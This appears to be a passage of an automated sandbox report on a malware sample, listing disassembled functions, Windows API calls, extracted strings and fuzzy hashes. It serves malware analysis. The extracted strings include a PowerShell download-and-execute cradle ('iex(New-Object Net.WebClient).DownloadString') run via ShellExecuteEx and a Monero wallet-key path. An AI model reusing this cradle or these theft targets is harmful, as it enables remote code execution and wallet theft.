GetFileSizeEx.KERNEL32(000000FF,?), ref: 00CA9A11
LocalAlloc.KERNEL32(00000040,?), ref: 00CA9A31
ReadFile.KERNEL32(000000FF,?,00000000,00CA148F,00000000), ref: 00CA9A5A
LocalFree.KERNEL32(00CA148F), ref: 00CA9A90
CloseHandle.KERNEL32(000000FF), ref: 00CA9A9A

Memory Dump Source

Source File: 00000000.00000002.1367522794.0000000000CA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1367509302.0000000000CA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000EEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000000EFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001086000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001166000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001188000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001191000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.00000000011A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367879755.00000000011A1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367979504.000000000133D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367994970.000000000133E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_file.jbxd

Yara matches

Similarity

API ID: File$Local$AllocCloseCreateFreeHandleReadSize
String ID:
API String ID: 2311089104-0
Opcode ID: 287fb86e5b3ed1aaaa0dcefa798b46cec0a598ac5fab43f182affcceff76e914
Instruction ID: c97d364c59bc3a8122f4f838c25181a1a73ed81483dab789f30a396f91cca122
Opcode Fuzzy Hash: 287fb86e5b3ed1aaaa0dcefa798b46cec0a598ac5fab43f182affcceff76e914
Instruction Fuzzy Hash: 3F3138B4A0020AEFDB14CF95C886BAE77B5FF49304F108159E815AB290C774AE45DFA1

Function 00CB4780 Relevance: 8.9, APIs: 7, Instructions: 101stringCOMMON

Download Yara Rule

APIs

lstrcat.KERNEL32(?,009DEEB0), ref: 00CB47DB

Part of subcall function 00CB8DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00CB8E0B

lstrcat.KERNEL32(?,00000000), ref: 00CB4801
lstrcat.KERNEL32(?,?), ref: 00CB4820
lstrcat.KERNEL32(?,?), ref: 00CB4834
lstrcat.KERNEL32(?,009CA7D0), ref: 00CB4847
lstrcat.KERNEL32(?,?), ref: 00CB485B
lstrcat.KERNEL32(?,009DD840), ref: 00CB486F

Part of subcall function 00CBA740: lstrcpy.KERNEL32(00CC0E17,00000000), ref: 00CBA788

Part of subcall function 00CB8D90: GetFileAttributesA.KERNEL32(00000000,?,00CA1B54,?,?,00CC564C,?,?,00CC0E1F), ref: 00CB8D9F

Part of subcall function 00CB4570: GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00CB4580
Part of subcall function 00CB4570: RtlAllocateHeap.NTDLL(00000000), ref: 00CB4587
Part of subcall function 00CB4570: wsprintfA.USER32 ref: 00CB45A6
Part of subcall function 00CB4570: FindFirstFileA.KERNEL32(?,?), ref: 00CB45BD

Memory Dump Source

Source File: 00000000.00000002.1367522794.0000000000CA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1367509302.0000000000CA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000EEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000000EFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001086000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001166000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001188000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001191000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.00000000011A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367879755.00000000011A1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367979504.000000000133D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367994970.000000000133E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileHeap$AllocateAttributesFindFirstFolderPathProcesslstrcpywsprintf
String ID:
API String ID: 2540262943-0
Opcode ID: 814b7500965a32c09c12fb894ebf9b5af60ee8bc18eefd9b96ef35efc7cb977e
Instruction ID: 98f7ec0328ceb8426e3edbc1334a94c582bb8ecc0d6f0c5730b12aa821340780
Opcode Fuzzy Hash: 814b7500965a32c09c12fb894ebf9b5af60ee8bc18eefd9b96ef35efc7cb977e
Instruction Fuzzy Hash: 553171B2D0020C6BDB14FBB0DCC6EE9737CAB58700F444599B359A6081EE74A78DDB95

Function 00CB2C90 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 99COMMON

Download Yara Rule

APIs

Part of subcall function 00CBA740: lstrcpy.KERNEL32(00CC0E17,00000000), ref: 00CBA788

Part of subcall function 00CBA9B0: lstrlen.KERNEL32(?,009D89A8,?,\Monero\wallet.keys,00CC0E17), ref: 00CBA9C5
Part of subcall function 00CBA9B0: lstrcpy.KERNEL32(00000000), ref: 00CBAA04
Part of subcall function 00CBA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00CBAA12

Part of subcall function 00CBA920: lstrcpy.KERNEL32(00000000,?), ref: 00CBA972
Part of subcall function 00CBA920: lstrcat.KERNEL32(00000000), ref: 00CBA982

Part of subcall function 00CBA8A0: lstrcpy.KERNEL32(?,00CC0E17), ref: 00CBA905

ShellExecuteEx.SHELL32(0000003C), ref: 00CB2D85

Strings

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, xrefs: 00CB2D04
-nop -c "iex(New-Object Net.WebClient).DownloadString(', xrefs: 00CB2CC4
<, xrefs: 00CB2D39
')", xrefs: 00CB2CB3

Memory Dump Source

Source File: 00000000.00000002.1367522794.0000000000CA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1367509302.0000000000CA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000EEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000000EFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001086000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001166000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001188000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001191000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.00000000011A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367879755.00000000011A1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367979504.000000000133D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367994970.000000000133E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$ExecuteShelllstrlen
String ID: ')"$-nop -c "iex(New-Object Net.WebClient).DownloadString('$<$C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
API String ID: 3031569214-898575020
Opcode ID: def8880ee245dd9d87e9e27873dad393f6fc34244554e34d2495513c3f950d7c
Instruction ID: e1d0ae9d55aacbf25368f77fbd43a440510b6f22e19a380c63648821399aa2f4
Opcode Fuzzy Hash: def8880ee245dd9d87e9e27873dad393f6fc34244554e34d2495513c3f950d7c
Instruction Fuzzy Hash: E741BE71C10208AADB14EFA1C8A1FDDB778AF14300F504129F156BB1D1DF756A4AEF91

Function 00CA9E10 Relevance: 7.7, APIs: 1, Strings: 4, Instructions: 170memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,?), ref: 00CA9F41

Part of subcall function 00CBA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00CBA7E6

Part of subcall function 00CBA740: lstrcpy.KERNEL32(00CC0E17,00000000), ref: 00CBA788

Strings

ERROR_RUN_EXTRACTOR, xrefs: 00CA9E67
v20, xrefs: 00CA9E21
@, xrefs: 00CA9EF1
v10, xrefs: 00CA9EA3

Memory Dump Source

Source File: 00000000.00000002.1367522794.0000000000CA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1367509302.0000000000CA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000EEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000000EFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001086000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001166000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001188000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001191000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.00000000011A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367879755.00000000011A1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367979504.000000000133D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367994970.000000000133E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$AllocLocal
String ID: @$ERROR_RUN_EXTRACTOR$v10$v20
API String ID: 4171519190-1096346117
Opcode ID: 26a47a83be2dc7842d00b21491a0cf0bc555750a53fbb9510d67e199cde2161a
Instruction ID: f247980b31a76fe88b0c1fcfe54c28eb264df84dac3474aa90b713f6fff13ee3
Opcode Fuzzy Hash: 26a47a83be2dc7842d00b21491a0cf0bc555750a53fbb9510d67e199cde2161a
Instruction Fuzzy Hash: F8613D70900248EFDB24EFA5CC96FED77B9AF41304F048518F94A6B191DF706A05DB51

Function 00CB40B0 Relevance: 7.6, APIs: 5, Instructions: 124registrystringCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000001,009DDB60,00000000,00020119,?), ref: 00CB40F4
RegQueryValueExA.ADVAPI32(?,009DEFD0,00000000,00000000,00000000,000000FF), ref: 00CB4118
RegCloseKey.ADVAPI32(?), ref: 00CB4122
lstrcat.KERNEL32(?,00000000), ref: 00CB4147
lstrcat.KERNEL32(?,009DEFA0), ref: 00CB415B

Memory Dump Source

Source File: 00000000.00000002.1367522794.0000000000CA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1367509302.0000000000CA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000EEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000000EFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001086000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001166000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001188000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001191000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.00000000011A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367879755.00000000011A1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367979504.000000000133D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367994970.000000000133E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$CloseOpenQueryValue
String ID:
API String ID: 690832082-0
Opcode ID: 96c0e163a49e245e8e39915f95c186eb37d819181a5008dd4153b26b56445bf8
Instruction ID: c886f74cba4ce98b5151d11aec858d6a056e021c2856e8e7939bbbafdc058ca6
Opcode Fuzzy Hash: 96c0e163a49e245e8e39915f95c186eb37d819181a5008dd4153b26b56445bf8
Instruction Fuzzy Hash: 49418AB6D0014C6BDB14EBE0EC86FFE737DAB89300F04455DB6155B181EA75AB8C8B92

Function 00CB6920 Relevance: 7.6, APIs: 5, Instructions: 67timeCOMMON

Download Yara Rule

APIs

GetSystemTime.KERNEL32(?), ref: 00CB696C
sscanf.NTDLL ref: 00CB6999
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 00CB69B2
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 00CB69C0
ExitProcess.KERNEL32 ref: 00CB69DA

Memory Dump Source

Source File: 00000000.00000002.1367522794.0000000000CA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1367509302.0000000000CA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000EEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000000EFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001086000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001166000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001188000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001191000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.00000000011A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367879755.00000000011A1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367979504.000000000133D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367994970.000000000133E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_file.jbxd

Yara matches

Similarity

API ID: Time$System$File$ExitProcesssscanf
String ID:
API String ID: 2533653975-0
Opcode ID: cf02a0d6fb2ee81682d49748bbb5f7ba5ed04010bfcfcb26c70916a6f5d8f0a3
Instruction ID: fcc1e577deface9426852d4607d20169e3f5cb819e8a96cd512612527b11b544
Opcode Fuzzy Hash: cf02a0d6fb2ee81682d49748bbb5f7ba5ed04010bfcfcb26c70916a6f5d8f0a3
Instruction Fuzzy Hash: 4B21BB75D1420CAFCB08EFE5D9859EEB7B5BF48300F04452EE416B7250EB346609CB69

Function 00CB7E00 Relevance: 7.6, APIs: 5, Instructions: 58registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00CB7E37
RtlAllocateHeap.NTDLL(00000000), ref: 00CB7E3E
RegOpenKeyExA.ADVAPI32(80000002,009CBC58,00000000,00020119,?), ref: 00CB7E5E
RegQueryValueExA.ADVAPI32(?,009DDB20,00000000,00000000,000000FF,000000FF), ref: 00CB7E7F
RegCloseKey.ADVAPI32(?), ref: 00CB7E92

Memory Dump Source

Source File: 00000000.00000002.1367522794.0000000000CA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1367509302.0000000000CA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000EEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000000EFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001086000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001166000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001188000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001191000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.00000000011A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367879755.00000000011A1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367979504.000000000133D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367994970.000000000133E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: d3b859d97f62a9b654fc42a4eb528affabcc184914e863d01d0e95efc6412bf0
Instruction ID: a15f77e00beaa1828c5bc14b5a47ced57db94d3ec240ad8655ec34a167a7f5ed
Opcode Fuzzy Hash: d3b859d97f62a9b654fc42a4eb528affabcc184914e863d01d0e95efc6412bf0
Instruction Fuzzy Hash: 721194B1A44249EFD714CFD6DC89FBBBBB8EB44701F10422DFA15AB280D77468048BA1

Function 00CB9260 Relevance: 7.5, APIs: 4, Strings: 1, Instructions: 41stringCOMMON

Download Yara Rule

APIs

StrStrA.SHLWAPI(009DEB98,?,?,?,00CB140C,?,009DEB98,00000000), ref: 00CB926C
lstrcpyn.KERNEL32(00EEAB88,009DEB98,009DEB98,?,00CB140C,?,009DEB98), ref: 00CB9290
lstrlen.KERNEL32(?,?,00CB140C,?,009DEB98), ref: 00CB92A7
wsprintfA.USER32 ref: 00CB92C7

Strings

%s%s, xrefs: 00CB92B5

Memory Dump Source

Source File: 00000000.00000002.1367522794.0000000000CA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1367509302.0000000000CA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000EEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000000EFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001086000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001166000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001188000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001191000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.00000000011A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367879755.00000000011A1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367979504.000000000133D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367994970.000000000133E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpynlstrlenwsprintf
String ID: %s%s
API String ID: 1206339513-3252725368
Opcode ID: cf702ab54c766079c1e2951c9e1f9c95dca2effb1ea6c93cfd1250ac672bcb1c
Instruction ID: 5fd5dd2da30e96b860053acf0b364c30ce7a5bb8d4eeade6aaf5e02ecb7634ab
Opcode Fuzzy Hash: cf702ab54c766079c1e2951c9e1f9c95dca2effb1ea6c93cfd1250ac672bcb1c
Instruction Fuzzy Hash: 0101A97550014CFFCB04DFEDC989EAE7BB9EB44355F14815CF909AB244C631AA44DB92

Function 00CA12A0 Relevance: 7.5, APIs: 5, Instructions: 39registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00CA12B4
RtlAllocateHeap.NTDLL(00000000), ref: 00CA12BB
RegOpenKeyExA.ADVAPI32(000000FF,?,00000000,00020119,?), ref: 00CA12D7
RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 00CA12F5
RegCloseKey.ADVAPI32(?), ref: 00CA12FF

Memory Dump Source

Source File: 00000000.00000002.1367522794.0000000000CA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1367509302.0000000000CA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000EEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000000EFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001086000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001166000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001188000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001191000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.00000000011A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367879755.00000000011A1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367979504.000000000133D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367994970.000000000133E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: ea29e1e93a5840bc3c0360c0735dc9f5002ef2b9b165d4175857cd5687937c4f
Instruction ID: de9de548f26861904f2bcc1f309ee3b7b405e84c84945b90735807b662b98526
Opcode Fuzzy Hash: ea29e1e93a5840bc3c0360c0735dc9f5002ef2b9b165d4175857cd5687937c4f
Instruction Fuzzy Hash: 310136B5A4020CBFDB14DFD1DC89FAEB7B8EB48701F048159FA05AB280D670AA058F51

Function 00CBC84E Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 129COMMONLIBRARYCODE

Download Yara Rule

APIs

___crtGetStringTypeA.LIBCMT ref: 00CBC8EC
___crtLCMapStringA.LIBCMT ref: 00CBC90C
___crtLCMapStringA.LIBCMT ref: 00CBC931

Strings

, xrefs: 00CBC896

Memory Dump Source

Source File: 00000000.00000002.1367522794.0000000000CA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1367509302.0000000000CA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000EEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000000EFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001086000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001166000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001188000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001191000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.00000000011A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367879755.00000000011A1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367979504.000000000133D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367994970.000000000133E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_file.jbxd

Yara matches

Similarity

API ID: String___crt$Type
String ID:
API String ID: 2109742289-3916222277
Opcode ID: 41cf30a04ae08e7c79ac85ea82f1dc61d7c3584d88598d1927d432a1ac49543a
Instruction ID: 4864601c7b297ff33d96ea24af9fb62e9caeff934c67b81b81a205dd0ae34cff
Opcode Fuzzy Hash: 41cf30a04ae08e7c79ac85ea82f1dc61d7c3584d88598d1927d432a1ac49543a
Instruction Fuzzy Hash: F341E6B150075C5EEB218B24CCC5FFBBBE89F45704F1444E8E99A96182E2719B45DF60

Function 00CB6630 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 70COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,0000003C,?,000003E8), ref: 00CB6663

Part of subcall function 00CBA740: lstrcpy.KERNEL32(00CC0E17,00000000), ref: 00CBA788

Part of subcall function 00CBA9B0: lstrlen.KERNEL32(?,009D89A8,?,\Monero\wallet.keys,00CC0E17), ref: 00CBA9C5
Part of subcall function 00CBA9B0: lstrcpy.KERNEL32(00000000), ref: 00CBAA04
Part of subcall function 00CBA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00CBAA12

Part of subcall function 00CBA8A0: lstrcpy.KERNEL32(?,00CC0E17), ref: 00CBA905

ShellExecuteEx.SHELL32(0000003C), ref: 00CB6726
ExitProcess.KERNEL32 ref: 00CB6755

Strings

<, xrefs: 00CB66D9

Memory Dump Source

Source File: 00000000.00000002.1367522794.0000000000CA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1367509302.0000000000CA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D82000.00000040.00000001.01000000.00000003.sdmpDownload File
